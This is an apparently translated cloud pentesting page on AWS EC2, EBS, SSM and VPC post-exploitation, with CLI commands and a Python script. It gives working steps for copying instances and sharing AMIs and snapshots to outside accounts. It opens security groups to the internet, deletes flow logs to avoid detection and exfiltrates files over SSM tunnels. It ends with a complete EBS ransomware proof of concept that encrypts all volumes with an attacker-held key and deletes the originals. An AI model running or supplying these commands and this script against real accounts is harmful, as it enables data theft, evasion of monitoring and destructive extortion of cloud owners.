AWS - EC2, EBS, SSM & VPC Post Exploitation

Reading time: 18 minutes

EC2 & VPC

Для отримання додаткової інформації див.:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring duplicates inbound and outbound traffic for EC2 instances within a VPC без необхідності встановлювати що-небудь на самі інстанси.
Такий дуплікований трафік зазвичай надсилається, наприклад, у network intrusion detection system (IDS) для аналізу та моніторингу.
Зловмисник може зловживати цим, щоб перехопити весь трафік і отримати з нього конфіденційну інформацію:

Для отримання додаткової інформації див. цю сторінку:

AWS - Malicious VPC Mirror

Copy Running Instance

Інстанси зазвичай містять певну конфіденційну інформацію. Є різні способи потрапити всередину (див. EC2 privilege escalation tricks). Однак інший спосіб перевірити, що в ньому міститься — створити AMI і запустити з нього новий інстанс (навіть у власному акаунті):

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots are backups of volumes, які зазвичай містять чутливу інформацію, тому їх перевірка має це виявити.
Якщо ви знайдете a volume without a snapshot ви можете: Create a snapshot і виконати наступні дії або просто mount it in an instance в межах облікового запису:

AWS - EBS Snapshot Dump

Covert Disk Exfiltration via AMI Store-to-S3

Експортуйте EC2 AMI напряму в S3, використовуючи CreateStoreImageTask, щоб отримати raw disk image без необхідності шарингу snapshot. Це дозволяє провести повний offline forensics або data theft, залишаючи мережеві налаштування інстансу без змін.

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Live Data Theft via EBS Multi-Attach

Прикріпіть io1/io2 Multi-Attach volume до другого інстансу та змонтуйте його в режимі read-only, щоб перекачувати live data без створення snapshots. Корисно, коли victim volume вже має Multi-Attach у тій же AZ.

AWS - Live Data Theft via EBS Multi-Attach

EC2 Instance Connect Endpoint Backdoor

Створіть EC2 Instance Connect Endpoint, авторизуйте ingress та інжектуйте ephemeral SSH keys для доступу до приватних інстансів через managed tunnel. Дає швидкі шляхи lateral movement без відкриття public ports.

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

EC2 ENI Secondary Private IP Hijack

Перенесіть secondary private IP жертви з ENI на ENI, контрольований атакуючим, щоб імітувати trusted hosts, які знаходяться в allowlist по IP. Дозволяє обходити внутрішні ACLs або SG rules, прив’язані до конкретних адрес.

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Elastic IP Hijack for Ingress/Egress Impersonation

Повторно асоціюйте Elastic IP з інстансу жертви на інстанс атакуючого, щоб перехоплювати inbound traffic або генерувати outbound connections, які здаються такими, що походять з trusted public IPs.

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Security Group Backdoor via Managed Prefix Lists

Якщо правило security group посилається на customer-managed prefix list, додавання attacker CIDRs у цей список тихо розширює доступ для всіх залежних SG rule без модифікації самої SG.

AWS - Security Group Backdoor via Managed Prefix Lists

VPC Endpoint Egress Bypass

Створіть gateway або interface VPC endpoints, щоб відновити outbound access з ізольованих subnets. Використання AWS-managed private links обходить відсутні IGW/NAT контролі для data exfiltration.

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

Атакуючий з правом ec2:AuthorizeSecurityGroupIngress може додавати inbound rules до security groups (наприклад, дозволити tcp:80 з 0.0.0.0/0), тим самим виставляючи internal services в public Internet або іншим неавторизованим мережам.

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

Зловмисник, який має дозволи ec2:ReplaceNetworkAclEntry (або подібні), може змінити Network ACLs (NACLs) підмережі так, щоб вони стали вкрай відкритими — наприклад дозволивши 0.0.0.0/0 на критичних портах — піддавши весь діапазон підмережі доступу з Інтернету або неавторизованих мережевих сегментів. На відміну від Security Groups, які застосовуються на рівні окремого інстансу, NACLs застосовуються на рівні підмережі, тож зміна суворого NACL може мати значно більший радіус ураження, дозволяючи доступ до значно більшої кількості хостів.

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

An attacker з правами ec2:Delete* та iam:Remove* може видаляти критичні ресурси інфраструктури та конфігурації — наприклад key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, або managed endpoints. Це може спричинити негайне припинення роботи сервісу, втрату даних та втрату судових доказів.

One example is deleting a security group:

aws ec2 delete-security-group
--group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

Направте VPC Flow Logs у attacker-controlled S3 bucket, щоб безперервно збирати мережеві метадані (source/destination, ports) поза межами victim account для довгострокової reconnaissance.

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

Навіть якщо ви закриєте EC2 так, що трафік не може вийти, він все одно може exfil via DNS.

• VPC Flow Logs will not record this.
• У вас немає доступу до AWS DNS logs.
• Вимкніть це, встановивши "enableDnsSupport" в false за допомогою:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

An attacker може викликати API endpoints облікового запису, яким він керує. Cloudtrail зафіксує ці виклики, і attacker зможе побачити exfiltrate data у Cloudtrail logs.

Open Security Group

Ви можете отримати додатковий доступ до мережевих сервісів, відкривши порти таким чином:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

Можна запустити EC2 instance і зареєструвати його для запуску ECS instances, а потім викрасти дані ECS instances.

Для детальнішої інформації див. тут.

Видалити VPC flow logs

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Необхідні дозволи:

• ssm:StartSession

Окрім виконання команд, SSM підтримує traffic tunneling, що дає змогу виконати pivot з EC2 інстансів, які не мають мережевого доступу через Security Groups або NACLs. Один зі сценаріїв, де це корисно — виконати pivot з Bastion Host до приватного EKS кластера.

In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

1. Встановіть SessionManagerPlugin на вашу машину
2. Увійдіть на Bastion EC2, використовуючи наступну команду:

aws ssm start-session --target "$INSTANCE_ID"

3. Отримайте тимчасові облікові дані AWS для Bastion EC2 за допомогою скрипта Abusing SSRF in AWS EC2 environment
4. Передайте облікові дані на вашу машину в файл $HOME/.aws/credentials як профіль [bastion-ec2]
5. Увійдіть у EKS як Bastion EC2:

aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>

6. Оновіть поле server у файлі $HOME/.kube/config, щоб воно вказувало на https://localhost
7. Створіть SSM tunnel наступним чином:

sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>

8. Трафік із інструменту kubectl тепер пересилається через SSM-тунель на Bastion EC2, і ви можете отримати доступ до приватного EKS кластера зі своєї машини, виконавши:

kubectl get pods --insecure-skip-tls-verify

Зауважте, що SSL-з'єднання не вдасться, якщо ви не встановите прапорець --insecure-skip-tls-verify (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через захищений AWS SSM тунель, ви в безпеці від будь-яких MitM attacks.

Нарешті, ця техніка не обмежується атаками на приватні EKS кластери. Ви можете вказувати довільні домени та порти, щоб pivot до будь-якого іншого AWS service або власного застосунку.

Швидке локальне ↔️ віддалене перенаправлення портів (AWS-StartPortForwardingSession)

Якщо вам потрібно переслати лише один TCP порт з EC2 інстансу на ваш локальний хост, ви можете використати SSM-документ AWS-StartPortForwardingSession (параметр віддаленого хоста не потрібен):

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

Команда створює двонаправлений тунель між вашою робочою станцією (localPortNumber) та обраним портом (portNumber) на інстансі без відкриття будь-яких вхідних правил Security-Group.

Типові сценарії використання:

• File exfiltration

1. На інстансі запустіть тимчасовий HTTP server, який вказує на каталог, який ви хочете exfiltrate:

python3 -m http.server 8000

2. З вашої робочої станції отримайте файли через тунель SSM:

curl http://localhost:8000/loot.txt -o loot.txt

• Доступ до внутрішніх веб-додатків (наприклад Nessus)

# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

Порада: Compress і encrypt докази перед exfiltrating, щоб CloudTrail не реєстрував вміст у відкритому вигляді:

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

Поділитися AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Пошук чутливої інформації в публічних і приватних Amazon Machine Images (AMIs)

• https://github.com/saw-your-packet/CloudShovel: CloudShovel — інструмент, призначений для пошуку чутливої інформації в публічних або приватних Amazon Machine Images (AMIs). Він автоматизує процес запуску instances з цільових AMIs, монтування їх volumes та сканування на наявність можливих secrets або чутливих даних.

Надання доступу до EBS Snapshot

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Доказ концепції, подібний до демонстрації Ransomware, описаної в нотатках щодо post-exploitation для S3. KMS варто перейменувати на RMS (Ransomware Management Service) через те, наскільки просто ним користуватися для шифрування різних AWS сервісів.

Спочатку з облікового запису AWS «атакуючого» створіть customer managed key у KMS. У цьому прикладі ми просто дозволимо AWS керувати даними ключа за нас, але в реалістичному сценарії зловмисник зберігав би дані ключа поза контролем AWS. Змініть key policy так, щоб будь-який AWS account Principal міг використовувати ключ. У цій key policy ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє повний доступ, називається 'Outside Encryption'.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:

• kms:CreateGrant
• kms:Decrypt
• kms:DescribeKey
• kms:GenerateDataKeyWithoutPlainText
• kms:ReEncrypt

Тепер, коли публічно доступний ключ готовий до використання. Ми можемо використати обліковий запис 'victim', у якому запущено кілька EC2 інстансів з приєднаними незашифрованими EBS томами. Саме EBS томи цього облікового запису 'victim' ми націлюємо для шифрування; ця атака відбувається за умови компрометації AWS акаунта з високими привілеями.

Подібно до прикладу S3 ransomware. Ця атака створює копії приєднаних EBS томів за допомогою snapshots, використовує публічно доступний ключ з облікового запису 'attacker' для шифрування нових EBS томів, потім від'єднує оригінальні EBS томи від EC2 інстансів і видаляє їх, а в кінці — видаляє snapshots, які були використані для створення нових зашифрованих EBS томів.

У результаті в акаунті залишаться лише зашифровані EBS томи.

Також слід зауважити, що скрипт зупинив EC2 інстанси, щоб від'єднати та видалити оригінальні EBS томи. Оригінальні незашифровані томи тепер зникли.

Далі поверніться до політики ключа в обліковому записі 'attacker' і видаліть правило політики 'Outside Encryption' з політики ключа.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Зачекайте хвилину, щоб нова політика ключа розповсюдилася. Потім поверніться до облікового запису 'victim' і спробуйте приєднати один із щойно зашифрованих EBS томів. Ви побачите, що том можна приєднати.

Але коли ви спробуєте фактично знову запустити EC2 instance з зашифрованим EBS томом, це просто не вдасться — інстанс перейде зі стану 'pending' назад у стан 'stopped' назавжди, оскільки приєднаний EBS том не можна розшифрувати за допомогою ключа, бо політика ключа більше цього не дозволяє.

Ось python script, який використовувався. Він приймає AWS creds для облікового запису 'victim' та публічно доступний AWS ARN значення для ключа, що буде використаний для шифрування. Скрипт створює зашифровані копії всіх доступних EBS томів, приєднаних до всіх EC2 instances у цільовому AWS обліковому записі, потім зупиняє кожен EC2 instance, від'єднує оригінальні EBS томи, видаляє їх і, нарешті, видаляє всі snapshots, використані під час процесу. В результаті в цільовому обліковому записі 'victim' залишаться лише зашифровані EBS томи. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ЛИШЕ В ТЕСТОВОМУ СЕРЕДОВИЩІ — ВІН РУЙНІВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS ТОМИ. Ви можете відновити їх за допомогою використаного ключа KMS та повернути до початкового стану через snapshots, але хочу, аби ви знали, що в кінцевому підсумку це ransomware PoC.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

Посилання

• Pentest Partners – Як передавати файли в AWS за допомогою SSM